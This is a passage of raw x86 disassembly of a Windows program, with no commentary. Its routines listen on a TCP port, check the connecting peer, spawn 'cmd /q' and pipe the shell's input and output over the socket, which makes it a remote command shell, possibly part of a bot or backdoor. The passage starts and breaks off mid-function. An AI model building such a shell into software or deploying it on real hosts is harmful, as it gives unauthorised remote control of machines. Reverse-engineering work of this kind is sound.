arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_3D4]
		inc	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_440BA4[eax]
		xor	edi, edi
		mov	[ebp+var_C], 1Eh
		mov	[ebp+var_8], edi
		mov	eax, [esi]
		mov	[ebp+var_1F4], ebx
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4CDC4C	; select
		test	eax, eax
		jnz	short loc_410EDD
		push	dword ptr [esi]
		call	dword_4CDCFC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B2A3
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread


loc_410EDD:				; CODE XREF: sub_410E59+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CDC7C	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_41105E
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_41105E
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_41105E
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4CDBB8	; getpeername
		test	eax, eax
		jz	short loc_410F56
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		push	offset unk_436DF0
		call	sub_415819
		push	[ebp+arg_0]
		call	sub_40B2A3
		add	esp, 0Ch
		push	edi
		call	dword_4280CC	; ExitThread


loc_410F56:				; CODE XREF: sub_410E59+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4CDC1C	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_410F80
		push	[ebp+var_18]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41C056
		jmp	short loc_410F8E
; ---------------------------------------------------------------------------


loc_410F80:				; CODE XREF: sub_410E59+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41C680


loc_410F8E:				; CODE XREF: sub_410E59+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43FE14
		push	dword ptr [esi]
		call	dword_4CDCB4	; send
		cmp	dword_4D0AAC, edi
		jnz	short loc_410FF0
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41109F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410FF0
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CDCB4	; send
		push	dword ptr [esi]
		call	dword_4CDCFC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B2A3
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread


loc_410FF0:				; CODE XREF: sub_410E59+14Cj
					; sub_410E59+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_436DB4
		call	sub_415819
		push	[ebp+arg_0]
		call	sub_411355
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411037
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436D88
		call	sub_415819
		push	[ebp+arg_0]
		call	sub_40B2A3
		add	esp, 0Ch
		push	ebx
		call	dword_4280CC	; ExitThread


loc_411037:				; CODE XREF: sub_410E59+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_436D5C
		call	sub_415819
		push	[ebp+arg_0]
		call	sub_40B2A3
		add	esp, 10h
		push	edi
		call	dword_4280CC	; ExitThread
sub_410E59	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41105E	proc near		; CODE XREF: sub_410E59+9Ap
					; sub_410E59+A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]


loc_411065:				; CODE XREF: sub_41105E+2Aj
		push	0
		lea	eax, [ebp+arg_4+3]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDC7C	; recv
		cmp	eax, 1
		jnz	short loc_41109B
		mov	al, byte ptr [ebp+arg_4+3]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_411090
		test	al, al
		jnz	short loc_411065
		xor	eax, eax
		inc	eax


loc_41108D:				; CODE XREF: sub_41105E+3Fj
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_411090:				; CODE XREF: sub_41105E+26j
		push	offset unk_436E1C
		call	sub_415819
		pop	ecx


loc_41109B:				; CODE XREF: sub_41105E+1Bj
		xor	eax, eax
		jmp	short loc_41108D
sub_41105E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41109F	proc near		; CODE XREF: sub_410E59+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4110CA
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset unk_436E48
		call	sub_415819
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4110CA:				; CODE XREF: sub_41109F+11j
		xor	eax, eax
		inc	eax
		retn
sub_41109F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110CE	proc near		; DATA XREF: sub_401B66+22D7o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4CDBD4	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_411127
		push	eax
		push	offset unk_436FBC
		call	sub_415819
		push	[ebp+var_4C]
		call	sub_40B2A3
		add	esp, 0Ch
		push	edi
		call	dword_4280CC	; ExitThread


loc_411127:				; CODE XREF: sub_4110CE+3Aj
		push	edi
		push	offset loc_41134B
		call	dword_428124	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_411160
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436F78
		call	sub_415819
		pop	ecx
		pop	ecx
		call	dword_4CDBBC	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B2A3
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread


loc_411160:				; CODE XREF: sub_4110CE+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	dword_4CDC64	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4CDCE4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4112D6
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_440BA4[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	dword_4CDC90	; bind
		test	eax, eax
		jnz	loc_4112D6
		push	7FFFFFFFh
		push	ebx
		call	dword_4CDC8C	; listen
		test	eax, eax
		jnz	loc_4112D6
		push	offset unk_436F3C
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_4157A5
		pop	ecx
		mov	[ebp+arg_0], edi


loc_4111EF:				; CODE XREF: sub_4110CE+15Aj
					; sub_4110CE+203j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4CDCF8	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_4112D9
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4CDC44	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4111EF
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_436EF8
		push	eax
		call	sub_41C056
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4157A5
		push	edi
		lea	eax, [ebp+var_414]
		push	9
		push	eax
		call	sub_40AF8D
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_440B9C[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_410E59
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440BAC[ecx], eax
		jnz	short loc_4112CC
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436EB8
		call	sub_415819
		pop	ecx
		pop	ecx
		jmp	short loc_4112D9
; ---------------------------------------------------------------------------


loc_4112C4:				; CODE XREF: sub_4110CE+201j
		push	32h
		call	dword_428064	; Sleep


loc_4112CC:				; CODE XREF: sub_4110CE+1DFj
		cmp	[ebp+var_38], esi
		jz	short loc_4112C4
		jmp	loc_4111EF
; ---------------------------------------------------------------------------


loc_4112D6:				; CODE XREF: sub_4110CE+C8j
					; sub_4110CE+ECj ...
		mov	edi, [ebp+arg_0]


loc_4112D9:				; CODE XREF: sub_4110CE+13Cj
					; sub_4110CE+1F4j
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_436E80
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_411319
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_409982
		add	esp, 14h


loc_411319:				; CODE XREF: sub_4110CE+229j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4157A5
		pop	ecx
		push	edi
		call	dword_4CDCFC	; closesocket
		push	ebx
		call	dword_4CDCFC	; closesocket
		call	dword_4CDBBC	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B2A3
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
		pop	ebx


loc_41134B:				; DATA XREF: sub_4110CE+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_4110CE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411355	proc near		; CODE XREF: sub_410E59+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_4114AA
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_440BA4[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42807C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41167C
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_4113C4
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437020
		call	sub_415819
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_4114A4
; ---------------------------------------------------------------------------


loc_4113C4:				; CODE XREF: sub_411355+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41171A
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411405
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437020
		call	sub_415819
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4280AC	; TerminateThread
		xor	eax, eax
		jmp	loc_4114A5
; ---------------------------------------------------------------------------


loc_411405:				; CODE XREF: sub_411355+86j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_428128	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_41145F
		dec	eax
		jz	short loc_411459
		dec	eax
		jz	short loc_411445
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436FE8
		call	sub_415819
		pop	ecx
		pop	ecx
		jmp	short loc_411474
; ---------------------------------------------------------------------------


loc_411445:				; CODE XREF: sub_411355+D9j
		mov	edi, dword_4280AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_411474
; ---------------------------------------------------------------------------


loc_411459:				; CODE XREF: sub_411355+D6j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_411463
; ---------------------------------------------------------------------------


loc_41145F:				; CODE XREF: sub_411355+D3j
		push	ebx
		push	dword ptr [esi+14h]


loc_411463:				; CODE XREF: sub_411355+108j
		call	dword_4280AC	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_4280F4	; TerminateProcess


loc_411474:				; CODE XREF: sub_411355+EEj
					; sub_411355+102j
		push	dword ptr [esi+10h]
		mov	edi, dword_42806C
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4CDCFC	; closesocket
		push	esi
		call	sub_41B881
		xor	eax, eax
		inc	eax


loc_4114A4:				; CODE XREF: sub_411355+6Aj
		pop	ecx


loc_4114A5:				; CODE XREF: sub_411355+ABj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411355	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4114AA	proc near		; CODE XREF: sub_411355+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BCA5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411594
		mov	ebx, dword_428100
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_42806C
		test	eax, eax
		jnz	short loc_41150D
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4370D0
		jmp	short loc_41152D
; ---------------------------------------------------------------------------


loc_41150D:				; CODE XREF: sub_4114AA+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_411535
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437090


loc_41152D:				; CODE XREF: sub_4114AA+61j
		call	sub_415819
		pop	ecx
		jmp	short loc_411563
; ---------------------------------------------------------------------------


loc_411535:				; CODE XREF: sub_4114AA+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_4115A3
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411598
		push	offset unk_437068
		call	sub_4157A5


loc_411563:				; CODE XREF: sub_4114AA+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_41156F
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_41156F:				; CODE XREF: sub_4114AA+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_41157A
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_41157A:				; CODE XREF: sub_4114AA+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411583
		push	eax
		call	edi	; CloseHandle


loc_411583:				; CODE XREF: sub_4114AA+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41158D
		push	eax
		call	edi	; CloseHandle


loc_41158D:				; CODE XREF: sub_4114AA+DEj
		push	esi
		call	sub_41B881
		pop	ecx


loc_411594:				; CODE XREF: sub_4114AA+1Dj
		xor	eax, eax
		jmp	short loc_41159E
; ---------------------------------------------------------------------------


loc_411598:				; CODE XREF: sub_4114AA+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41159E:				; CODE XREF: sub_4114AA+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4114AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4115A3	proc near		; CODE XREF: sub_4114AA+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BD60
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BD60
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4280FC
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4280F8	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_428070	; CreateProcessA
		test	eax, eax
		jz	short loc_41165F
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_440BA0[eax], ecx
		call	dword_42806C	; CloseHandle
		jmp	short loc_411675
; ---------------------------------------------------------------------------


loc_41165F:				; CODE XREF: sub_4115A3+9Aj
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437110
		call	sub_415819
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_411675:				; CODE XREF: sub_4115A3+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4115A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41167C	proc near		; DATA XREF: sub_411355+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		mov	ebx, dword_4280E8
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		jmp	short loc_4116DF
; ---------------------------------------------------------------------------


loc_411693:				; CODE XREF: sub_41167C+7Bj
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_4116C8


loc_41169E:				; CODE XREF: sub_41167C+4Aj
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_4116B8
		cmp	dl, 0Dh
		jz	short loc_4116B8
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_4116B8:				; CODE XREF: sub_41167C+2Cj
					; sub_41167C+31j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_41169E


loc_4116C8:				; CODE XREF: sub_41167C+20j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CDCB4	; send
		test	eax, eax
		jle	short loc_4116F9


loc_4116DF:				; CODE XREF: sub_41167C+15j
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		call	ebx	; ReadFile
		test	eax, eax
		jnz	short loc_411693


loc_4116F9:				; CODE XREF: sub_41167C+61j
		mov	esi, dword_42808C
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_411715
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437150
		call	sub_415819
		pop	ecx
		pop	ecx


loc_411715:				; CODE XREF: sub_41167C+88j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41167C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41171A	proc near		; DATA XREF: sub_411355+75o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		jmp	loc_411813
; ---------------------------------------------------------------------------


loc_411735:				; CODE XREF: sub_41171A+10Ej
		cmp	[ebp+var_10], ebx
		jbe	short loc_411742
		dec	[ebp+var_10]
		jmp	loc_411816
; ---------------------------------------------------------------------------


loc_411742:				; CODE XREF: sub_41171A+1Ej
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4117FE
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_4117B2
		cmp	al, 7Fh
		jz	short loc_4117B2
		cmp	al, 3
		jnz	short loc_41176D
		push	ebx
		push	ebx
		call	dword_42812C	; GenerateConsoleCtrlEvent
		jmp	short loc_4117D9
; ---------------------------------------------------------------------------


loc_41176D:				; CODE XREF: sub_41171A+47j
		cmp	al, 15h
		jnz	short loc_41178F
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_4117C5
; ---------------------------------------------------------------------------


loc_41178F:				; CODE XREF: sub_41171A+55j
		xor	ecx, ecx
		mov	[ebp+esi+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		jnz	short loc_4117C6
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_4117C5
; ---------------------------------------------------------------------------


loc_4117B2:				; CODE XREF: sub_41171A+3Fj
					; sub_41171A+43j
		cmp	esi, ebx
		jbe	short loc_4117DC
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_4117C5:				; CODE XREF: sub_41171A+73j
					; sub_41171A+96j
		pop	ecx


loc_4117C6:				; CODE XREF: sub_41171A+85j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CDCB4	; send
		test	eax, eax
		jle	short loc_41182E


loc_4117D9:				; CODE XREF: sub_41171A+51j
		mov	al, byte ptr [ebp+arg_0+3]


loc_4117DC:				; CODE XREF: sub_41171A+9Aj
		cmp	al, 0Dh
		jnz	short loc_411816
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_4280E0	; WriteFile
		test	eax, eax
		jz	short loc_41182E
		xor	esi, esi
		jmp	short loc_411816
; ---------------------------------------------------------------------------


loc_4117FE:				; CODE XREF: sub_41171A+34j
		cmp	[ebp+var_C], ebx
		jnz	short loc_41180C
		mov	[ebp+var_C], 1
		jmp	short loc_411816
; ---------------------------------------------------------------------------


loc_41180C:				; CODE XREF: sub_41171A+E7j
		mov	[ebp+var_10], 0Ah


loc_411813:				; CODE XREF: sub_41171A+16j
		mov	[ebp+var_C], ebx


loc_411816:				; CODE XREF: sub_41171A+23j
					; sub_41171A+C4j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CDC7C	; recv
		test	eax, eax
		jg	loc_411735


loc_41182E:				; CODE XREF: sub_41171A+BDj
					; sub_41171A+DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41171A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411833	proc near		; DATA XREF: sub_401B66+2BC2o

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	ebx
		mov	[eax+0A8h], edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_14], 2
